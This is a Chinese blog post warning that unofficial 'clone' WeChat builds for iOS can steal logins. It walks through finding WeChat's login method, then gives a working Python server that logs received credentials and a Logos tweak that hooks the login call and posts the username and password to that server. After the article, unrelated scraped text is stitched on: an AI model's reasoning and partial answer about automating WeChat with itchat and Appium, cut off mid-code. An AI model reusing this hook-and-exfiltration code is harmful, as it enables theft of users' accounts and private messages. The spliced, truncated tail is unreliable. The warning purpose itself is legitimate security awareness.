iOS安全–看了这个,你还敢用分身版微信吗?

本文揭示了非官方微信分身版存在的安全隐患,包括通过动态库注入方式收集用户的账号密码等敏感信息,并发送至指定服务器。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最近微信分身版各种疯传,不少人都安装了不同功能的微信分身版,不管是一键转发,一键评论还是带有其它功能的微信分身版。

        很显然很多人安装了这些分身版却不知道其中可能存在的风险,这些微信分身版无非就是通过load command动态库注入hook函数进行篡改,虽然你的手机没有越狱,但是安装了微信分身版后,你所用微信的所有信息都暴露在别人的面前了。包括获取你的微信账号密码,聊天记录等等,所有的信息。

        下面笔者就从如何获取微信账号密码并传到指定服务器做一个简单的分析,看完这个后,你安装的分身版微信很可能就已经收集你的微信账号和密码。

首先进入微信登录界面,查看ViewController的继承关系:

[[[UIWindow keyWindow] rootViewController] _printHierarchy]

<MMUINavigationController 0×18392800>, state: appeared, view: <UILayoutContainerView 0x17f33790>

               | <WCAccountLoginLastUserViewController 0x18b52600>, state: appeared, view: <UIView 0x192740d0>

        可以得到当前的ViewController为WCAccountLoginLastUserViewController,跟踪该类。然后点击登录按钮,可以看到调用onNext方法。使用IDA进入里面分析,可以得知是WCAccountLoginControlLogic类来负责处理具体的登录逻辑。跟踪WCAccountLoginControlLogic可以发现登录的时候调用了

- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}

        其中传的参数就是微信的账号和密码,现在演示一下如何拦截微信账号密码,并发送到指定服务器。

        既然需要一个服务器来接受传输的数据,那么就使用python的BaseHTTPRequestHandler来搭建一个简单的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python 
# -*- conding:utf-8 -*- 
  
from  BaseHTTPServer  import BaseHTTPRequestHandler , HTTPServer  
from  urlparse  import  urlparse , parse_qs  
  
DEFAULT_HOST  =  ''  
DEFAULT_PORT  =  8080  
  
  
class RequestHandler (BaseHTTPRequestHandler ):  
     def do_GET ( self ):  
        params =parse_qs ( urlparse ( self. path ). query )  
         self. send_response ( 200 )  
         self. send_header ( 'Content-type' , 'text/html' )  
         self. end_headers ( )  
         #获取账号密码
        fread  =  open ( './pwd.log' , 'r' )
        lines  = fread. readlines ( ) ;
          #每隔2秒刷新一次
        content  =  '<meta http-equiv="refresh" content="2">'
         for line  in lines:
          content  = content+line+ '<br>'
         # Send the message to browser  
         self. wfile. write (content )  
         return  

     def do_POST ( self ):  
        params =parse_qs ( urlparse ( self. path ). query )  
         #保存账号密码
        fwrite  =  open ( './pwd.log' , 'a+' )
        fwrite. write ( "username=%s\n" % params [ 'name' ] [ 0 ] )
        fwrite. write ( "pwd=%s\n" % params [ 'pwd' ] [ 0 ] )
        fwrite. close ( )
         self. send_response ( 200 )  
         self. end_headers ( )  
         return  
  
  
def run_server ( ):  
     try:  
        server_address = (DEFAULT_HOST , DEFAULT_PORT )  
        server = HTTPServer (server_address ,RequestHandler )  
         print  "HTTP server started on port: %s" % DEFAULT_PORT  
        server. serve_forever ( )  
     except  Exception , err:  
         print  "Error:%s" %err  
     except  KeyboardInterrupt:  
         print  "Server interrupted and is shutting down..."  
        server. socket. close ( )  
  
if __name__  ==  "__main__":  
    run_server ( )

        好了,一个简单的服务器搭建好了,post用来接受从微信传过来的账号和密码信息并保存到本地文件,然后通过get不断去请求刷新获取的账号密码。

        编写tweak拦截账号密码,并发送到刚刚搭建的服务器上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
%hook WCAccountLoginControlLogic

-  ( void )onLastUserLoginUserName : (NSString * ) name Pwd : (NSString * ) pwd {
     % log ;
    
    NSMutableURLRequest  *request = [NSMutableURLRequest requestWithURL : [NSURL URLWithString : [NSString stringWithFormat :@ "http://192.168.1.100:8080?name=%@&pwd=%@" ,name ,pwd ] ] ] ;
    
     [request setTimeoutInterval : 30 ] ;
    
     [request setHTTPMethod :@ "POST" ] ;
    
     [NSURLConnection sendAsynchronousRequest :request queue : [NSOperationQueue mainQueue ]
     
                           completionHandler :^ (NSURLResponse  *respone ,
                                               
                                               NSData  *data ,
                                               
                                               NSError  *error )
     
      {
         NSHTTPURLResponse * httpResponse  =  (NSHTTPURLResponse * )respone ;
          if (httpResponse. statusCode  ==  200 ) {
             NSLog (@ "send pwd success!" ) ;
          }
         
         
      } ] ;
}

%end

        重签名微信,生成一个在非越狱机器上运行的微信分身版,这个已经在上一篇文章中讲过。进入登录界面输入账号密码,每次输入账号密码就发把账号密码发送到我们搭建的服务器上面,然后在浏览器输入http://localhost:8080/就能实时看到输入的账号密码是什么了。

        上面只是一个简单的演示,当然实际的分身版不可能写的这么简单,一般都经过混淆和加密的,但是也就是说,一旦你安装了微信分身版,那么你微信上面所有的信息都可能被监控,导致隐私泄露。

        从网上下了一个分身版的微信就在其中的dylib文件中发现了上传账号密码的代码image    所以即使你的手机没有越狱,也不要去网上下载微信分身版,也不要去第三方渠道下载应用,因为很可能你在第三方渠道下载的应用就是被篡改过的。

本文链接:http://www.blogfshare.com/the-second-wechat.html

<think>好的,用户想了解如何用Python实现微信的自动化控制。我需要先理清楚用户的需求。他们可能希望自动回复消息、发送文件或者定时任务,比如自动发送消息。根据提供的引用,有两种方法:itchat和Appium。 首先,itchat是一个基于微信网页的库,但听说现在网页可能被封禁,所以可能不太稳定。不过方法还是可以介绍一下。引用1提到用Python控制微信,包括聊天、图片和文件操作,应该用的是itchat。引用2则是Appium,用于移动端自动化,需要配置Desired Capabilities和Appium服务器。 接下来需要分步骤回答。用户可能对这两种方法都不熟悉,所以需要详细说明。首先介绍itchat的安装和基本用法,比如登录、发送消息、接收消息。然后指出可能的限制,比如微信网页不可用的问题。 然后是Appium的方法,这更复杂,需要配置环境、安装Appium服务器、准备手机调试模式等。引用2给出了启动微信的代码示例,需要解释各个参数的作用,比如platformName、deviceName等。还要提醒用户需要连接真实设备或模拟器,并且安装必要的驱动。 另外,用户提到了微信API和pyweixin。需要说明微信官方没有公开的API,所以第三方库可能有封号风险。提醒用户注意合规性和风险。 用户可能需要具体的代码示例,所以给出两种方法的代码片段,并解释每一步的作用。同时,要指出可能的错误和解决方法,比如端口设置、设备连接问题。 最后,生成相关问题时,要考虑用户可能进一步的需求,比如消息监听、文件处理、防封措施等。确保问题覆盖使用中的常见疑问。 总结回答结构:先介绍两种方法,分别详细步骤,注意事项,代码示例,然后相关问题。确保回答清晰,步骤明确,帮助用户根据自身情况选择合适的方法。</think>### Python实现微信自动化操作的方法 Python可通过第三方库(如`itchat`或`Appium`)实现微信自动化控制,具体分为**网页协议**和**移动端自动化**两种方式。以下是详细步骤和注意事项: --- #### 一、基于网页协议的itchat库(需微信网页支持) 1. **安装库** 使用`pip`安装`itchat`: ```bash pip install itchat ``` 2. **基础功能实现** ```python import itchat # 登录微信 itchat.auto_login(hotReload=True) # hotReload=True可避免重复扫码 # 发送消息 itchat.send("Hello, 微信自动化!", toUserName="filehelper") # 发送给文件传输助手 # 接收消息并自动回复 @itchat.msg_register(itchat.content.TEXT) def reply_msg(msg): return "自动回复: " + msg.text itchat.run() # 保持监听状态 ``` **注意**:微信网页接口可能因政策调整失效,需关注兼容性[^1]。 --- #### 二、基于移动端自动化的Appium方案 通过`Appium`控制手机微信客户端,适用于Android/iOS设备: 1. **环境配置** - 安装`Appium-Python-Client`: ```bash pip install Appium-Python-Client ``` - 下载并配置[Appium Server](https://appium.io/)和对应手机驱动(如Android需`adb`工
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值